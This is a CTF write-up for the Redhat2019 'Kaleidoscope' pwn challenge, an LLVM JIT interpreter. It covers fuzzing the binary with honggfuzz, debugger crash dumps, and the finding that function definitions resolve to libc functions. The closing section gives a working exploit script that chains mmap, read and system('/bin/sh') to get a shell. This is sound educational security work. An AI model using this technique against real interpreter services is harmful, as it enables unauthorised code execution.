Mid Station

[Redhat2019] Kaleidoscope

这是连续第三届参加广东省的红帽杯比赛了,就题目质量来说明显是一届比一届高,看到这题万花筒惊喜之余也感叹国内的CTF比赛门槛真是越来越高了。作为一道基于解释器改编的题目,通过传统的逆向方法来做还是比较困难,因此分享一下用fuzzing来找到题目漏洞以及后续的分析利用。
This challenge is from a CTF game of Guangdong province, China. It is a Pwn challenge based on llvm JIT engine. You can download this challenge at this link.

Recon

At first you may not able to run this binary directly, because of the missing libary libLLVM-6.0.so.1, use sudo apt-get install libllvm6.0 to solve the dependency. It will give us a interpreter interface like:

1
2
3
4
5
6
ready> a = 1
ready> 1+1
Error: Unknown variable name
ready> a+1
Evaluated to 2
ready>

Drop the binary into ida and we can see that it was written by C++, and the designer turned on some optimization settings when compiling, so the decompile result was really hard to follow. The symbols tell us, this is a Kaleidoscope JIT interpreter, which is used by llvm project as tutorial to demonstrate how to implement a JIT interpreter. We can find the tutorial here: Building a JIT: Starting out with KaleidoscopeJIT, and the source code at llvm-kaleidoscope.

The main function is clear in source code:

1
2
3
4
5
6
7
8
9
10
11
12
int main() {
BinopPrecedence['<'] = 10;
BinopPrecedence['+'] = 20;
BinopPrecedence['-'] = 20;
BinopPrecedence['*'] = 40;
fprintf(stderr, "ready> ");
getNextToken();
TheModule = llvm::make_unique<Module>("My awesome JIT", TheContext);
MainLoop();
TheModule->print(errs(), nullptr);
return 0;
}

but in ida it looks really terrible:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
LLVMInitializeX86TargetInfo(*(_QWORD *)&argc, argv, envp);
LLVMInitializeX86Target();
LLVMInitializeX86TargetMC();
LLVMInitializeX86AsmPrinter();
LLVMInitializeX86AsmParser();
__k[0] = '=';
*std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 2;
__k[0] = '<';
*std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 10;
__k[0] = '+';
*std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 20;
__k[0] = '-';
*std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 20;
__k[0] = '*';
*std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 40;
v3 = &stderr;
fwrite("ready> ", 7uLL, 1uLL, stderr);
...

Comparing these two pieces of code, we can see the challenge define = as BinopPrecedence while the original version didn’t. I try to follow the code but soon decide to change another method.

Fuzzing

So I turned to fuzzing and hope to find some bugs. I tried AFL with qemu mode to run this binary first, but it stuck on the initialization. If you know how to run such a binary with AFL, please do let me know.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
matthew@matthew-MS-7A37 /m/d/L/Fuzz> afl-fuzz -i in/ -o out1/ -Q -- ./wang 
afl-fuzz 2.52b by <lcamtuf@google.com>
[+] You have 8 CPU cores and 6 runnable tasks (utilization: 75%).
[+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt.
[*] Checking CPU core loadout...
[+] Found a free CPU core, binding to #0.
[*] Checking core_pattern...
[*] Setting up output directories...
[+] Output directory exists but deemed OK to reuse.
[*] Deleting old session data...
[+] Output dir cleanup successful.
[*] Scanning 'in/'...
[+] No auto-generated dictionary tokens to reuse.
[*] Creating hard links for all input files...
[*] Validating target binary...
[*] Attempting dry run with 'id:000000,orig:1.txt'...
[*] Spinning up the fork server...
[+] All right - fork server is up.
...(It just stop here)

Then I try honggfuzz, which is another popular fuzzer support binary instrument. At first I cloned the source code from github but failed on compilation. Then I found a docker image at Doker hub, but it does not support qemu mode. I had to attach to the container and complied the qemu mode, some dependencies installation are unavoidable. It took me more than 2 hours to setup this tool (the network connection is always big problem when you setting up similar tools in China).

The command of running this docker image is:

1
docker run --rm -it -v (pwd):/work --privileged zjuchenyuan/honggfuzz:latest /bin/bash

and you can find the usage of honggfuzz here: USAGE, for the qemu mode we need, it can be run by:

1
honggfuzz -f /work/in/ -s -- ./qemu_mode/honggfuzz-qemu/x86_64-linux-user/qemu-x86_64 /work/kaleidoscope

The seed corpus was put in /work/in, I simply chose the code snippet from https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language:

1
2
3
4
5
6
7
8
9
# Compute the x'th fibonacci number.
def fib(x)
if x < 3 then
1
else
fib(x-1)+fib(x-2)

# This expression will compute the 40th number.
fib(40)

I run this in a vmware workstation vm, so the speed is a kind of slow, but it still give us some crashes in less than ten minutes. I believe this will be much faster on a bare metal linux machine.

1
2
3
4
5
6
7
8
9
10
 Iterations : 5810 [5.81k]
Mode [3/3] : Feedback Driven Mode
Target : ./qemu_mode/honggfuzz-qemu/x86_6.....u-x86_64 /work/kaleidoscope
Threads : 4, CPUs: 8, CPU%: 424% [53%/CPU]
Speed : 0/sec [avg: 1]
Crashes : 200 [unique: 0, blacklist: 0, verified: 0]
Timeouts : 0 [10 sec]
Corpus Size : 97, max: 8192 bytes, init: 2 files
Cov Update : 0 days 00 hrs 01 mins 18 secs ago
Coverage : edge: 3922/45011 [8%] pc: 1541 cmp: 135658

Crashes

The fuzzer gave us a crash in less than ten minutes, I review the crashes, it seems like some heap corruption issue, but the stacktrace was hard to look at.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x0
RBX 0x7ffff399b840 (stderr) —▸ 0x7ffff399b680 (_IO_2_1_stderr_) ◂— 0xfbad2887
RCX 0x7ffff35ede97 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108]
RDX 0x0
RDI 0x2
RSI 0x7fffffffd660 ◂— 0x0
R8 0x0
R9 0x7fffffffd660 ◂— 0x0
R10 0x8
R11 0x246
R12 0x5555556030b0 —▸ 0x5555555d4fd0 —▸ 0x5555555d5040 ◂— 0x0
R13 0x7ffff3ff9550 (std::bad_alloc::~bad_alloc()) ◂— mov rax, qword ptr [rip + 0x3390f1]
R14 0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 —▸ 0x5555555f76c0 ◂— ...
R15 0x55555569ec30 —▸ 0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 ◂— ...
RBP 0x7ffff40dbfe2 ◂— jae 0x7ffff40dc058 /* u'std::bad_alloc' */
RSP 0x7fffffffd660 ◂— 0x0
RIP 0x7ffff35ede97 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108]
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x7ffff35ede97 <raise+199> mov rcx, qword ptr [rsp + 0x108] <0x7ffff35ede97>
0x7ffff35ede9f <raise+207> xor rcx, qword ptr fs:[0x28]
0x7ffff35edea8 <raise+216> mov eax, r8d
0x7ffff35edeab <raise+219> jne raise+252 <0x7ffff35edecc>

0x7ffff35edecc <raise+252> call __stack_chk_fail <0x7ffff36e3c80>

0x7ffff35eded1 nop word ptr cs:[rax + rax]
0x7ffff35ededb nop dword ptr [rax + rax]
0x7ffff35edee0 <killpg> test edi, edi
0x7ffff35edee2 <killpg+2> js killpg+16 <0x7ffff35edef0>

0x7ffff35edee4 <killpg+4> neg edi
0x7ffff35edee6 <killpg+6> jmp 0x7ffff35ee180 <0x7ffff35ee180>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsi r9 rsp 0x7fffffffd660 ◂— 0x0
01:00080x7fffffffd668 —▸ 0x7ffff399b420 (main_arena+2016) —▸ 0x55555567aa60 ◂— 0x0
02:00100x7fffffffd670 ◂— 0x0
... ↓
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 7ffff35ede97 raise+199
f 1 7ffff35ef801 abort+321
f 2 7ffff3fef242
f 3 7ffff3ffae86
f 4 7ffff3ffaed1
f 5 7ffff3ffb105
f 6 7ffff3feeee1
f 7 55555555eb68
f 8 55555555eb68
f 9 55555555eb68
f 10 55555555eb68
pwndbg> bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1 0x00007ffff35ef801 in __GI_abort () at abort.c:79
#2 0x00007ffff3fef242 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#3 0x00007ffff3ffae86 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4 0x00007ffff3ffaed1 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#5 0x00007ffff3ffb105 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#6 0x00007ffff3feeee1 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#7 0x000055555555eb68 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.tcc:219
#8 std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct_aux<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:236
#9 std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:255
#10 std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string (this=<optimized out>, __str=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:440
#11 std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, 0ul>(std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&, std::tuple<>&, std::_Index_tuple<0ul>, std::_Index_tuple<>) (this=0x55555569ec30, __tuple1=..., __tuple2=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1651
#12 std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>(std::piecewise_construct_t, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<>) (this=0x55555569ec30, __first=..., __second=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1639
#13 __gnu_cxx::new_allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::construct<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., this=<optimized out>, __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/ext/new_allocator.h:136
#14 std::allocator_traits<std::allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > > >::construct<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >&, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., __a=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/alloc_traits.h:475
#15 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_construct_node<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __node=0x55555569ec10, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:626
#16 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_create_node<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:643
#17 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_emplace_hint_unique<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::_Rb_tree_const_iterator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __pos={
first = <incomplete type>,
second = 0x0
}, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:2398
#18 0x000055555555e97d in std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, llvm::AllocaInst*, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::operator[] (this=<optimized out>, __k=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_map.h:493
#19 0x00005555555612dc in (anonymous namespace)::BinaryExprAST::codegen (this=0x555555689010) at toy.cpp:781
#20 0x000055555555c6d9 in (anonymous namespace)::FunctionAST::codegen (this=0x555555638840) at toy.cpp:1085
#21 0x000055555555a767 in HandleTopLevelExpression () at toy.cpp:1164
#22 MainLoop () at toy.cpp:1209
#23 main () at toy.cpp:1263
#24 0x00007ffff35d0b97 in __libc_start_main (main=0x55555555a240 <main()>, argc=1, argv=0x7fffffffdee8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffded8) at ../csu/libc-start.c:310
#25 0x0000555555559c4a in _start ()

I then went to dinner and some really interesting crashes was found before I came back. The fuzzer reports these inputs lead to crashes, but the binary did not crash at all in dry run.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
matthew@matthew-MS-7A37 ~/L/fuzz> cat c5
def fib(x)
if x < 3 then
1
else
526142246948557=666

fib(40)
$IF8׆FA]V_13X9`Z^9_O2ر/#nϰ'ӟ]* O-w ff4QjW={%IT(<V['!]h_2
ޒ*`-KyrCzʉB8Cl=}_F85&ЅNQ-O}/8
*ŋyG:~V$5917384075431139189gG ^ggXX%KTY១R| )"319Oqy`
{&!M?Z-Bz X
>@YAyd(9kG9Dž޹0)dL&TBeDjח@3g3N,Okrvz8b[QRs U,( >m@.*ou3\w;߳^U
C}5Ttrz7217830875066176221-+\I
f⏎
1
2
3
matthew@matthew-MS-7A37 ~/L/fuzz> cat c5 | ./kaleidoscope 
ready> ready> Error: Unknown variable name
ready> LLVM ERROR: Program used external function 'fib' which could not be resolved!

The output was interesting though, it said the external function “fib” could not be resolved. If you compare the binary code with the original source code, you can see that there was an extern keyword in the source. However the handler was disabled in this challenge, it will say “No extern function” if you try to use extern keyword.

1
2
3
4
5
6
7
8
9
      {
if ( CurTok != 0xFFFFFFFD )
goto LABEL_30;
fwrite("No extern function!!!\n", 0x16uLL, 1uLL, *v3);
CurTok = gettok();
CurTok = gettok();
LABEL_18:
CurTok = gettok();
}

Then I search the string Program used external function 'fib' which could not be resolved! in this binary but find nothing. However, this message was stared by a tag LLVM ERROR, did that mean the string located at the llvm library?

1
2
matthew@matthew-MS-7A37 ~/L/fuzz> strings /usr/lib/x86_64-linux-gnu/libLLVM-6.0.so.1 | grep "Program used external"
Program used external function '

YES!

Analysis

Consider the logic behind this test case, the binary have finished the parsing job and pass the function name to libLLVM, libLLVM get the function name and try to resolve it from libc. If we search this info in the source of llvm, we can see it was invoked by RTDyldMemoryManager::getPointerToNamedFunction, see https://github.com/llvm-mirror/llvm/blob/8b8f8d0ad8a1f837071ccb39fb96e44898350070/lib/ExecutionEngine/RuntimeDyld/RTDyldMemoryManager.cpp#L290.

Then I thought maybe we can call the libc functions directly in same manner. I changed the fib to puts, loaded the binary into gdb and read the input. I also set a breakpoint at puts, it did stop at the call.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
RAX 0x7ffff36899c0 (puts) ◂— push r13
RBX 0x7ffff7ff6000 ◂— push rax
RCX 0x3
RDX 0x55555556a010 ◂— 0x605070607050307
RDI 0x28
RSI 0x55555556a018 ◂— 0x607050702070606
R8 0x8
R9 0x1
R10 0x555555638568 —▸ 0x5555555d4f00 —▸ 0x5555555b99f0 ◂— 0x555500000000
R11 0x88
R12 0x7ffff39f5840 (stderr) —▸ 0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887
R13 0x555555564eb8 ◂— jb 0x555555564f1f /* 'ready> ' */
R14 0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push rax
R15 0x7fffffffddc0 ◂— 0x0
RBP 0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887
RSP 0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop rcx
RIP 0x7ffff36899c0 (puts) ◂— push r13
────────────────────────────────────────[ DISASM ]─────────────────────────────────────────
0x7ffff36899c0 <puts> push r13
0x7ffff36899c2 <puts+2> push r12
0x7ffff36899c4 <puts+4> mov r12, rdi
0x7ffff36899c7 <puts+7> push rbp
0x7ffff36899c8 <puts+8> push rbx
0x7ffff36899c9 <puts+9> sub rsp, 8
0x7ffff36899cd <puts+13> call *ABS*+0x9dc70@plt <0x7ffff362a100>

0x7ffff36899d2 <puts+18> mov rbp, qword ptr [rip + 0x36be6f] <0x7ffff39f5848>
0x7ffff36899d9 <puts+25> mov rbx, rax
0x7ffff36899dc <puts+28> mov eax, dword ptr [rbp]
0x7ffff36899df <puts+31> mov rdi, rbp
─────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000│ rsp 0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop rcx
01:00080x7fffffffdd10 ◂— 0x0
02:00100x7fffffffdd18 —▸ 0x55555555b0d4 (main+3732) ◂— mov ecx, eax
03:0018│ 0x7fffffffdd20 —▸ 0x7fffffffdd30 ◂— '__anon_expr'
04:00200x7fffffffdd28 ◂— 0xb /* '\x0b' */
05:0028│ 0x7fffffffdd30 ◂— '__anon_expr'
06:00300x7fffffffdd38 ◂— 0x727078 /* 'xpr' */
07:0038│ r14 0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push rax
───────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
► f 0 7ffff36899c0 puts
f 1 7ffff7ff6012
f 2 0
───────────────────────────────────────────────────────────────────────────────────────────
Breakpoint puts
pwndbg>

We can see that the first argument $rdi is 0x28=40, that means we can control the argument too.

Exploit

With the handy arbitrary libc function calling ability, it should be quite straightforward to get a shell. The binary was protected by PIE, so we don’t know any address information initially. My solution is using mmap to get an new region like 0x100000 and use read to load the /bin/sh string into memory. Finally we can call system(0x100000) to get shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
payload = """
def mmap(x y z o p)
if x < 3 then
1
else
a=666
else
0=666
else
b=666
else
0=666
else
c=666

mmap(1048576, 4096, 7, 34, 0);
"""
sla(">", payload)
time.sleep(0.5)
payload = """
def read(x y z)
if m < 3 then
1
else
0=666

def system(x)
if m < 3 then
1
else
0=666

read(0, 1048576, 10);
system(1048576);
"""
sla(">", payload)
sla(">", "/bin/sh\x00")
p.interactive()

I spent some time to tune the if-else statements according to the number of arguments to make it accept by the interpreter, but later find it is unnecessary, any function definition with if-else statement will be regard as external function.

Wrapup

This is the first time I used fuzzing technique to solve a challenge during a CTF. As you can see, this is a promising skill in competition, it can save plenty of time from reverse engineering. In terms of the interpreter pwn challenges, I had came across some like Javascript, Lua (see another writeup at of XNUCA2019), and this Kaleidoscope, many of them were related to the external function calling or, foreign function interface (FFI). So this might be the thing to look at when you meet a interpreter-based pwn challenge.

References

  1. https://llvm.org/docs/tutorial/BuildingAJIT1.html
  2. https://github.com/ghaiklor/llvm-kaleidoscope
  3. https://hub.docker.com/r/zjuchenyuan/honggfuzz
  4. https://github.com/google/honggfuzz/blob/master/docs/USAGE.md
  5. https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language
  6. http://blog.leanote.com/post/xp0int/%5BPWN%5D-ls-cpt.shao%E3%80%81MF